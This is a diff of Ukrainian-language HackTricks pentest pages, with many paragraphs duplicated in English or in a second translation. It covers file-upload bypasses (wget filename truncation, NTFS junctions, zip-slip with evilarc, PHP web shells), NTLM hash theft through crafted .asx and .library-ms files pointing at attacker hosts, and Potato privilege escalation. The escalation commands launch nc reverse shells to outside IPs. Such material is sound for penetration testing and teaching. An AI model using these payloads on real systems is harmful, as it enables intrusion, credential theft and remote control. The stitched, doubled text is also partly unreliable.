Іноді можна виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, що розширення завантажуваних файлів знаходиться у whitelist, щоб гарантувати завантаження лише дозволених файлів. Однак, **цій перевірці можна обійти.**\
Максимальна довжина імені файлу в **linux****255**, проте **wget** обрізає імена файлів до **236** символів. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -227,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зверніть увагу, що **ще один варіант**, про який ви, можливо, думаєте, щоб обійти цю перевірку — це змусити **HTTP server redirect to a different file**, тож початковий URL може пройти перевірку, а потім wget завантажить перенаправлений файл під новим іменем. Це **не спрацює**, **якщо не** використовувати wget з параметром `--trust-server-names`, оскільки **wget will download the redirected page with the name of the file indicated in the original URL**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
### Обхід каталогу завантажень через NTFS junctions (Windows)
(Для цієї атаки вам знадобиться локальний доступ до Windows-машини) Коли uploads зберігаються в per-user підпапках на Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) і ви контролюєте створення/видалення цієї підпапки, ви можете замінити її на directory junction, що вказує на чутливе розташування (e.g., the webroot). Наступні uploads будуть записані в цільовий шлях, що дає змогу виконання коду, якщо ціль інтерпретує serverside code.
Приклад потоку для перенаправлення uploads у XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
Примітки
- mklink /J створює NTFS directory junction (reparse point). Обліковий запис веб‑сервера має слідувати за junction і мати права запису в місці призначення.
- Це перенаправляє довільні записи файлів; якщо ціль виконує скрипти (PHP/ASP), це перетворюється на RCE.
- Захист: не дозволяйте writable upload roots бути attackercontrollable під C:\Windows\Tasks або подібними; блокувати створення junction; валідувати extensions на стороні сервера; зберігати uploads на окремому томі або з denyexecute ACLs.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений, щоб допомогти Pentesters та Bug Hunters тестувати механізми завантаження файлів. Він використовує різні bug bounty techniques для спрощення процесу ідентифікації та експлуатації вразливостей, забезпечуючи ретельну оцінку web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений для допомоги Pentesters і Bug Hunters у тестуванні file upload mechanisms. Він використовує різні bug bounty techniques, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи ретельну оцінку веб‑застосунків.
### Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови масивів multi-file з single-file upload, можна обдурити, щоб підробити структуру `_FILES`. Через невідповідності та усікання в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька проіндексованих файлів на боці сервера, вводячи в оману логіку, яка припускає сувору форму (наприклад, трактуючи це як multi-file upload і переходячи в небезпечні гілки). Хоча сьогодні це нішова проблема, цей “index corruption” pattern час від часу з’являється в CTFs і в старих codebases.
Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови multi-file масивів із single-file upload, можна обдурити, щоб сфабрикувати структуру `_FILES`. Через невідповідності й усікання в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька проіндексованих файлів на стороні сервера, вводячи в оману логіку, яка очікує сувору форму (наприклад, трактує це як multi-file upload і переходить на небезпечні гілки). Хоча сьогодні це рідко, цей патерн “index corruption” час від часу зʼявляється в CTF та старих кодових базах.
## Від завантаження файлів до інших вразливостей
## From File upload to other vulnerabilities
- Вкажіть **filename** як `../../../tmp/lol.png` та спробуйте досягти **path traversal**
- Вкажіть **filename** як `sleep(10)-- -.jpg` і ви можете досягти **SQL injection**
- Вкажіть **filename** як `<svg onload=alert(document.domain)>` для досягнення **XSS**
- Вкажіть **filename** як `; sleep 10;` щоб перевірити деякі **command injection** (більше [command injections tricks here](../command-injection.md))
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Спробуйте **different svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Якщо ви можете вказати web server, щоб він отримав зображення з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якесь **public** місце, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **steal information of every visitor**.
- Якщо ви можете вказати веб‑серверу завантажити зображення з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якомусь public сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Спеціально підготовлені PDFs для XSS: наступна сторінка показує, як **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDFs, ви можете підготувати PDF, який виконуватиме довільний JS за наведеними інструкціями.
- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи сервер має якийсь **antivirus**
- Перевірте, чи існує якийсь **size limit** при завантаженні файлів
- Спеціально створені PDF для XSS: на [наступній сторінці показано, як **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете upload PDFs, ви можете підготувати PDF, який виконуватиме довільний JS згідно з наведеними вказівками.
- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи є на сервері **antivirus**
- Перевірте, чи існує **size limit** при завантаженні файлів
Ось топ10 речей, які можна досягти завантаженням (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ось топ10 речей, яких можна досягти через завантаження (взято з [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -275,20 +299,20 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
https://github.com/portswigger/upload-scanner
{{#endref}}
## Магічні байти заголовку
## Магічні заголовкові байти
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Див. [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших filetypes.
## Zip/Tar: автоматично розпаковані завантаження
## Zip/Tar File Automatically decompressed Upload
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
### Symlink
Завантажте архів, що містить символічні посилання (soft links) на інші файли — після доступу до розпакованих файлів ви отримаєте доступ до пов’язаних файлів:
Завантажте архів, що містить symbolic links на інші файли; потім, отримавши доступ до розпакованих файлів, ви звертатиметеся до linked файлів:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -296,18 +320,18 @@ tar -cvf test.tar symindex.txt
```
### Розпаковка в різні папки
Несподіване створення файлів у директоріях під час розпаковки є серйозною проблемою. Незважаючи на початкові припущення, що така настройка може захищати від OS-level command execution через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal у ZIP archive format можуть бути використані. Це дозволяє attackers обходити обмеження і виходити з secure upload directories, маніпулюючи decompression functionality цільового застосунку.
Несподіване створення файлів у директоріях під час розпакування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через шкідливі завантаження файлів, підтримка ієрархічної компресії та можливості обходу директорій формату ZIP можуть бути використані зловмисниками. Це дозволяє атакам обходити обмеження та виходити з безпечних директорій для завантаження, маніпулюючи функцією розпакування цільового додатка.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати як показано:
Автоматизований exploit для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати так:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Крім того, варто розглянути **symlink trick with evilarc**. Якщо потрібно націлитися на файл, наприклад `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Крім того, варто розглянути опцію **symlink trick with evilarc**. Якщо мета — націлитися на файл, наприклад `/flag.txt`, у вашій системі слід створити symlink на цей файл. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад Python-коду, який використовується для створення зловмисного zip-файлу:
Нижче наведено приклад коду Python, який використовується для створення зловмисного zip-файлу:
```python
#!/usr/bin/python
import zipfile
@ -328,9 +352,9 @@ create_zip()
```
**Зловживання стисненням для file spraying**
Для додаткових відомостей **перегляньте оригінальний пост за адресою**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Створення PHP Shell**: Написано PHP-код, що виконує команди, передані через змінну `$_REQUEST`.
1. **Creating a PHP Shell**: Написано PHP-код для виконання команд, переданих через змінну `$_REQUEST`.
```php
<?php
@ -340,14 +364,14 @@ system($cmd);
}?>
```
2. **File Spraying та створення стисненого файлу**: Створюються декілька файлів і збирається zip-архів, що містить ці файли.
2. **File Spraying and Compressed File Creation**: Створюється кілька файлів і формується zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Зміна за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../", щоб пройти в інші директорії.
3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor — замінюючи "xxA" на "../" для переходу між каталогами.
```bash
:set modifiable
@ -357,7 +381,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Завантажте цей вміст з розширенням зображення, щоб експлуатувати уразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -366,31 +390,31 @@ pop graphic-context
```
## Вбудовування PHP shell у PNG
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони часто використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим під час цих операцій є значною перевагою для певних сценаріїв використання.
Вбудовування PHP shell в IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` і `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим при виконанні цих операцій є вагомою перевагою для певних сценаріїв.
Детальне вивчення цієї техніки, включно з методологією та потенційними застосуваннями, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає комплексне розуміння процесу та його наслідків.
Детальне дослідження цієї техніки, включаючи методологію та потенційні застосування, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає ґрунтовне розуміння процесу та його наслідків.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files слугують унікальним інструментом у cybersecurity, поводячись як хамелеони, які можуть одночасно бути дійсними в кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який працює одночасно як GIF і RAR-архів. Такі файли не обмежуються цією парою; можливі й поєднання на кшталт GIF та JS або PPT та JS.
Polyglot Files слугують унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть легітимно існувати в кількох форматах файлів одночасно. Прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF і RAR-архів. Такі файли не обмежуються цією парою; також можливі комбінації типу GIF і JS або PPT і JS.
Основна користь polyglot файлів полягає в їхній здатності обходити заходи безпеки, які перевіряють файли за типом. Зазвичай у різних додатках дозволяють завантаження лише певних типів файлів — наприклад JPEG, GIF або DOC — щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним вимогам кількох форматів одночасно, може непомітно обійти ці обмеження.
Основна користь polyglot-файлів полягає в їхній здатності обходити заходи безпеки, які фільтрують файли за типом. Звична практика в різних застосунках полягає в дозволі лише певних типів файлів для завантаження — наприклад, JPEG, GIF або DOC — щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів файлів, може непомітно обходити ці обмеження.
Незважаючи на адаптивність, polygloty мають обмеження. Наприклад, хоча polyglot може одночасно містити PHAR файл (PHp ARchive) і JPEG, успішність його завантаження може залежати від політик платформи щодо розширень файлів. Якщо система суворо перевіряє дозволені розширення, сама структурна подвійність polyglot може бути недостатньою для гарантування завантаження.
Незважаючи на адаптивність, у polyglot-файлів є і обмеження. Наприклад, хоча polyglot може одночасно бути PHAR (PHp ARchive) і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо фільтрує за допустимими розширеннями, сама лише структурна подвійність polyglot може не гарантувати успіх завантаження.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Завантаження валідних JSON так, ніби це PDF
### Завантаження валідних JSON, ніби це PDF
Як уникнути визначення типу файлу, завантажуючи валідний JSON-файл, навіть якщо це не дозволено, підробивши PDF-файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Як уникнути виявлення типу файлу, завантаживши валідний JSON-файл, навіть якщо це не дозволено, підробивши PDF-файл (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Поки магічні байти `%PDF` знаходяться в перших 1024 байтах, файл вважається дійсним (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF всередину поля JSON так, щоб бібліотека вважала його PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за це, щоб воно не змогло розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме, що це PDF
- **`mmmagic` library**: Поки magic-байти `%PDF` знаходяться в перших 1024 байтах, файл вважається валідним (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF-формат всередину поля JSON, щоб бібліотека вважала його PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за цей розмір, щоб воно не змогло розпізнати вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме файл PDF
## References
## Посилання
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -406,5 +430,7 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,66 @@
# Місця для крадіжки NTLM облікових даних
# Місця для викрадення NTLM creds
{{#include ../../banners/hacktricks-training.md}}
**Перевірте всі чудові ідеї з [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) від завантаження файлу microsoft word онлайн до джерела витоків ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md та [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
**Перегляньте всі чудові ідеї з [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — від завантаження Microsoft Word файлу онлайн до джерела ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md та [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Windows Media Player плейлисти (.ASX/.WAX)
Якщо ви змусите ціль відкрити або переглянути Windows Media Player плейлист, яким ви керуєте, ви можете leak NetNTLMv2, вказавши запис на UNC path. WMP спробує отримати вказане медіа через SMB і аутентифікується неявно.
Приклад payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
Потік збору та cracking:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
Windows Explorer небезпечно обробляє файли .library-ms, коли вони відкриваються безпосередньо з ZIP-архіву. Якщо визначення бібліотеки вказує на віддалений UNC-шлях (наприклад, \\attacker\share), простий перегляд або запуск .library-ms всередині ZIP змушує Explorer перерахувати UNC і відправити NTLM-аутентифікацію на attacker. Це призводить до отримання NetNTLMv2, який можна зламати офлайн або потенційно relayed.
Мінімальний .library-ms, що вказує на attacker UNC
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
Операційні кроки
- Створіть файл .library-ms з наведеним вище XML (вкажіть ваш IP/hostname).
- Заархівуйте його (on Windows: Send to → Compressed (zipped) folder) та доставте ZIP на target.
- Запустіть NTLM capture listener і чекайте, поки жертва відкриє .library-ms всередині ZIP.
## Джерела
- [HTB Fluffy ZIP .libraryms auth leak (CVE202524071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato не працює** на Windows Server 2019 і Windows 10 build 1809 та новіших версіях. Однак [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можуть бути використані для отримання тих же привілеїв і підвищення до рівня доступу `NT AUTHORITY\SYSTEM`. Цей [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально описує інструмент `PrintSpoofer`, який можна використовувати для зловживання impersonation privileges на хостах Windows 10 і Server 2019, де JuicyPotato більше не працює.
> **JuicyPotato не працює** на Windows Server 2019 та Windows 10 build 1809 і новіших версіях. Однак, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можна використовувати для **отримання тих самих привілеїв та доступу рівня `NT AUTHORITY\SYSTEM`**. Ця [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально описує інструмент `PrintSpoofer`, який можна використовувати для зловживання привілеями impersonation на хостах Windows 10 та Server 2019, де JuicyPotato більше не працює.
> [!TIP]
> Сучасна альтернатива, яка регулярно підтримується у 20242025, — SigmaPotato (форк GodPotato), який додає in-memory/.NET reflection використання та розширену підтримку ОС. Див. швидке використання нижче та репо в References.
> Сучасною альтернативою, яка часто підтримується в 20242025 роках, є SigmaPotato (форк GodPotato), що додає використання in-memory/.NET reflection та розширену підтримку ОС. Див. швидке використання нижче та репозиторій у References.
Related pages for background and manual techniques:
@ -22,25 +22,26 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## Вимоги та поширені підводні камені
## Requirements and common gotchas
Всі наступні техніки залежать від зловживання привілейованою службою, яка підтримує impersonation, з контексту, що має один із цих привілеїв:
Усі наведені техніки базуються на зловживанні привілейованим сервісом, здатним до impersonation, з контексту, що має один із цих привілеїв:
- SeImpersonatePrivilege (найпоширеніший) або SeAssignPrimaryTokenPrivilege
- Високий рівень цілісності не потрібен, якщо токен вже має SeImpersonatePrivilege (типово для багатьох сервісних акаунтів, таких як IIS AppPool, MSSQL тощо)
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
Швидко перевірте привілеї:
```cmd
whoami /priv | findstr /i impersonate
```
Operational notes:
Операційні нотатки:
- PrintSpoofer потребує, щоб сервіс Print Spooler був запущений і доступний через локальний RPC-ендпоінт (spoolss). У захищених середовищах, де Spooler вимкнено після PrintNightmare, віддавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato вимагає OXID resolver, доступного на TCP/135. Якщо egress заблоковано, використовуйте redirector/port-forwarder (див. приклад нижче). Старіші збірки вимагали прапорця -f.
- Якщо ваш shell працює під обмеженим токеном, який не містить SeImpersonatePrivilege (поширено для Local Service/Network Service в деяких контекстах), відновіть привілеї облікового запису за замовчуванням за допомогою FullPowers, а потім запустіть Potato. Приклад: `FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer потребує, щоб служба Print Spooler була запущена і доступна через локальний RPC-ендпоінт (spoolss). У загартованих середовищах, де Spooler відключили після PrintNightmare, віддавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato вимагає OXID resolver, доступного на TCP/135. Якщо egress заблоковано, використовуйте redirector/port-forwarder (див. приклад нижче). У старіших збірках вимагався прапорець -f.
- EfsPotato/SharpEfsPotato зловживають MS-EFSR; якщо один pipe заблоковано, спробуйте альтернативні pipe (lsarpc, efsrpc, samr, lsass, netlogon).
- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай вказує на невідомий/непідтримуваний RPC authentication service; спробуйте інший pipe/transport або переконайтеся, що цільовий сервіс запущено.
- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай вказує на невідому/непідтримувану RPC службу автентифікації; спробуйте інший pipe/transport або переконайтесь, що цільова служба запущена.
## Швидке демо
## Швидка демонстрація
### PrintSpoofer
```bash
@ -58,8 +59,8 @@ NULL
```
Примітки:
- Ви можете використовувати -i, щоб створити інтерактивний процес у поточній консолі, або -c, щоб виконати однорядкову команду.
- Потребує службу Spooler. Якщо вона відключена, це не спрацює.
- Ви можете використати -i, щоб створити інтерактивний процес у поточній консолі, або -c, щоб виконати однорядкову команду.
- Потребує службу Spooler. Якщо вона вимкнена — не спрацює.
### RoguePotato
```bash
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
Якщо outbound 135 заблоковано, перенаправте OXID resolver через socat на вашому redirector:
Якщо вихідний порт 135 заблоковано, pivot OXID resolver через socat на вашому redirector:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
Порада: Якщо один pipe не спрацьовує або EDR його блокує, спробуйте інші підтримувані pipe:
Порада: Якщо один pipe не спрацьовує або EDR блокує його, спробуйте інші підтримувані pipes:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -123,13 +124,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
Примітки:
- Працює на Windows 8/8.111 та Server 20122022 за наявності SeImpersonatePrivilege.
- Працює на Windows 8/8.111 та Server 20122022, якщо присутній SeImpersonatePrivilege.
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato надає два варіанти, що націлені на DCOM-об'єкти служби, які за замовчуванням використовують RPC_C_IMP_LEVEL_IMPERSONATE. Зберіть або використайте надані бінарні файли та запустіть вашу команду:
